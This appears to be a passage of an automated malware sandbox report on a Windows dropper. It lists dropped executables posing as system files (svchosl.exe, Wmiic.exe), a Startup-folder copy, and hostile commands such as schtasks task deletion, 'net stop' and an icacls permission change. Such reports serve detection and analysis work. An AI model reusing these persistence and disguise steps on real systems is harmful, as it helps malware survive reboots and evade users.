Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FI "IMAGENAME eq Superfetch.exe"

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: 123.exe, 00000003.00000000.2346718297.0000000000EE3000.00000002.00000001.01000000.00000008.sdmp, 123.exe, 00000003.00000002.2356568322.0000000000EE3000.00000002.00000001.01000000.00000008.sdmp, mig.exe, 0000005D.00000002.2807847716.0000000000423000.00000002.00000001.01000000.00000019.sdmp, mig.exe, 0000005D.00000000.2686679060.0000000000423000.00000002.00000001.01000000.00000019.sdmp, mig.exe.0.dr
Source:	Binary string: C:\A\21\b\bin\amd64\_bz2.pdb source: svchosl.exe, 0000000E.00000003.2369241126.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3285416095.00007FF8B9F6E000.00000002.00000001.01000000.00000013.sdmp, _bz2.pyd.14.dr
Source:	Binary string: C:\A\21\b\bin\amd64\_lzma.pdbMM source: svchosl.exe, 0000000E.00000003.2369699265.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3284341028.00007FF8B9094000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: vcruntime140.amd64.pdbGCTL source: svchosl.exe, 0000000E.00000003.2368939718.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3286403821.00007FF8BA51E000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\_ssl.pdb source: svchosl.exe, 00000010.00000002.3284663597.00007FF8B93CD000.00000002.00000001.01000000.00000017.sdmp, _ssl.pyd.14.dr
Source:	Binary string: C:\A\21\b\bin\amd64\_socket.pdb source: svchosl.exe, 0000000E.00000003.2369877536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3285714483.00007FF8BA249000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\_hashlib.pdb source: svchosl.exe, 0000000E.00000003.2369576437.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3285071788.00007FF8B9845000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: C:\A\6\b\libssl-1_1.pdb?? source: svchosl.exe, 00000010.00000002.3283717281.00007FF8B8053000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: _.pdb source: file.exe, 00000000.00000002.3280551668.000000000485F000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.3280253389.000000000464C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2079601696.0000000006DBF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2080087221.0000000006DC8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2079861670.0000000006DC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .PdB] source: svchosl.exe.3.dr
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1d 10 Sep 2019built on: Mon Sep 16 11:00:37 2019 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: svchosl.exe, 00000010.00000002.3280721436.00007FF8A8A03000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: C:\A\6\b\libssl-1_1.pdb source: svchosl.exe, 00000010.00000002.3283717281.00007FF8B8053000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\python38.pdb source: svchosl.exe, 00000010.00000002.3282402293.00007FF8A8DFD000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\select.pdb source: svchosl.exe, 0000000E.00000003.2373528666.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3286731624.00007FF8BFAB3000.00000002.00000001.01000000.00000012.sdmp, select.pyd.14.dr
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: svchosl.exe, 00000010.00000002.3280721436.00007FF8A8A03000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\_ctypes.pdb source: svchosl.exe, 00000010.00000002.3286058819.00007FF8BA501000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\_lzma.pdb source: svchosl.exe, 0000000E.00000003.2369699265.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3284341028.00007FF8B9094000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\unicodedata.pdb source: svchosl.exe, 0000000E.00000003.2373739228.000002061D9D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: vcruntime140.amd64.pdb source: svchosl.exe, 0000000E.00000003.2368939718.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3286403821.00007FF8BA51E000.00000002.00000001.01000000.0000000E.sdmp

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.400000.0.unpack

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.file.exe.45edbe6.2.raw.unpack, EwV3ECxYhIse1SOarW.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 0.2.file.exe.7590000.7.raw.unpack, EwV3ECxYhIse1SOarW.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 0.2.file.exe.4800ee8.5.raw.unpack, EwV3ECxYhIse1SOarW.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

Source: 1.exe.93.dr

Static PE information: 0x93306B02 [Thu Apr 2 07:04:34 2048 UTC]

Source: C:\Users\user\Desktop\file.exe

0_2_004019F0

Source: C:\Users\123.exe

File created: C:\ProgramData\MicrosoftSystem\__tmp_rar_sfx_access_check_5247265

Jump to behavior

Source: 123.exe.0.dr	Static PE information: section name: .didat
Source: mig.exe.0.dr	Static PE information: section name: .didat
Source: libcrypto-1_1.dll.14.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.14.dr	Static PE information: section name: .00cfg
Source: migrate.exe.93.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041C40C push cs; iretd	0_2_0041C4E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00423149 push eax; ret	0_2_00423179
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041C50E push cs; iretd	0_2_0041C4E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004231C8 push eax; ret	0_2_00423179
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040E21D push ecx; ret	0_2_0040E230
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041C6BE push ebx; ret	0_2_0041C6BF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029FC125 push ebx; ret	0_2_029FC126
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029FBE73 push cs; iretd	0_2_029FBF49
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029FBF75 push cs; iretd	0_2_029FBF49
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029EE484 push ecx; ret	0_2_029EE497
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_02AA678F push edi; retf	0_2_02AA6790
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_02AA3844 push FFFFFFE1h; ret	0_2_02AA3853
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C4D709 push esi; iretd	0_2_07C4D70A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C4E30B push edx; ret	0_2_07C4E314
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C4F209 push cs; ret	0_2_07C4F231
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C65E93 pushfd ; retn 07D0h	0_2_07C65FD9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C66220 pushad ; ret	0_2_07C66221
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_084E50D3 push 0000005Eh; ret	0_2_084E5131
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_084EADC8 push eax; ret	0_2_084EADC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0851BDD1 push cs; ret	0_2_0851BE44
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_085BBCE9 push eax; ret	0_2_085BBCED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08624871 push FFFFFF8Bh; iretd	0_2_08624876
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08624959 push FFFFFF8Bh; iretd	0_2_0862495E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0862472E push FFFFFF8Bh; retf	0_2_08624731
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_086245FB push FFFFFF8Bh; retf	0_2_08624600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_086249D0 push FFFFFF8Bh; iretd	0_2_086249D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_086246D6 push FFFFFF8Bh; retf	0_2_086246D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_086248AA push FFFFFF8Bh; iretd	0_2_086248AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08624786 push FFFFFF8Bh; retf	0_2_08624789
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0862498D push FFFFFF8Bh; iretd	0_2_0862499B
Source: C:\Users\123.exe	Code function: 3_2_00ECF640 push ecx; ret	3_2_00ECF653

Source: file.exe

Static PE information: section name: .text entropy: 7.930607336213552

Source: 0.2.file.exe.45edbe6.2.raw.unpack, EwV3ECxYhIse1SOarW.cs	High entropy of concatenated method names: 'BPTavEfPI8', 'uVaa4GpUIk', 'u6YaUGQ5Rc', 't0UaRBG3Pj', 'pNJaQb5F9t', 'YcBaEMIBPc', 'p_0099_009E_000D_000A8_008C9t_0095o', 'nWN5m7K3Q', 'ReZxSxiJZ', 'kJmawSxbE'
Source: 0.2.file.exe.7590000.7.raw.unpack, EwV3ECxYhIse1SOarW.cs	High entropy of concatenated method names: 'BPTavEfPI8', 'uVaa4GpUIk', 'u6YaUGQ5Rc', 't0UaRBG3Pj', 'pNJaQb5F9t', 'YcBaEMIBPc', 'p_0099_009E_000D_000A8_008C9t_0095o', 'nWN5m7K3Q', 'ReZxSxiJZ', 'kJmawSxbE'
Source: 0.2.file.exe.4800ee8.5.raw.unpack, EwV3ECxYhIse1SOarW.cs	High entropy of concatenated method names: 'BPTavEfPI8', 'uVaa4GpUIk', 'u6YaUGQ5Rc', 't0UaRBG3Pj', 'pNJaQb5F9t', 'YcBaEMIBPc', 'p_0099_009E_000D_000A8_008C9t_0095o', 'nWN5m7K3Q', 'ReZxSxiJZ', 'kJmawSxbE'

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\mig.exe	Jump to dropped file
Source: C:\Users\mig.exe	File created: C:\ProgramData\migrate.exe	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\_bz2.pyd	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\_ctypes.pyd	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\python38.dll	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\_socket.pyd	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\VCRUNTIME140.dll	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\libssl-1_1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\1.exe	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\libcrypto-1_1.dll	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\libffi-7.dll	Jump to dropped file
Source: C:\Users\mig.exe	File created: C:\ProgramData\1.exe	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\_ssl.pyd	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\unicodedata.pyd	Jump to dropped file
Source: C:\Users\123.exe	File created: C:\ProgramData\MicrosoftSystem\svchosl.exe	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\123.exe	Jump to dropped file
Source: C:\Users\123.exe	File created: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\_hashlib.pyd	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\select.pyd	Jump to dropped file

Source: C:\Users\mig.exe	File created: C:\ProgramData\migrate.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\1.exe	Jump to dropped file
Source: C:\Users\mig.exe	File created: C:\ProgramData\1.exe	Jump to dropped file
Source: C:\Users\123.exe	File created: C:\ProgramData\MicrosoftSystem\svchosl.exe	Jump to dropped file
Source: C:\Users\123.exe	File created: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Jump to dropped file

Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\_bz2.pyd	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\_ctypes.pyd	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\python38.dll	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\_socket.pyd	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\VCRUNTIME140.dll	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\libssl-1_1.dll	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\libcrypto-1_1.dll	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\libffi-7.dll	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\_ssl.pyd	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\unicodedata.pyd	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\_lzma.pyd	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\_hashlib.pyd	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	File created: C:\Windows\Temp\_MEI65122\select.pyd	Jump to dropped file

Boot Survival

Drops PE files to the startup folder

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\1.exe

Jump to dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /delete /tn WindowsUpdate /F

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\1.exe

Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application\NSSM

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\1.exe

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" stop wmservice

Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe

Code function: 6_2_000000014000A2E0 _snwprintf_s,PathQuoteSpacesW,GetModuleFileNameW,GetModuleFileNameW,PathQuoteSpacesW,TlsAlloc,GetStdHandle,StartServiceCtrlDispatcherW,GetLastError,

6_2_000000014000A2E0

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\ProgramData\MicrosoftSystem\svchosl.exe

Code function: 14_2_00007FF77B3242E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

14_2_00007FF77B3242E0

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "*S-1-1-0:(R,REA,RA,RD)" "*S-1-5-7:(R,REA,RA,RD)"

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
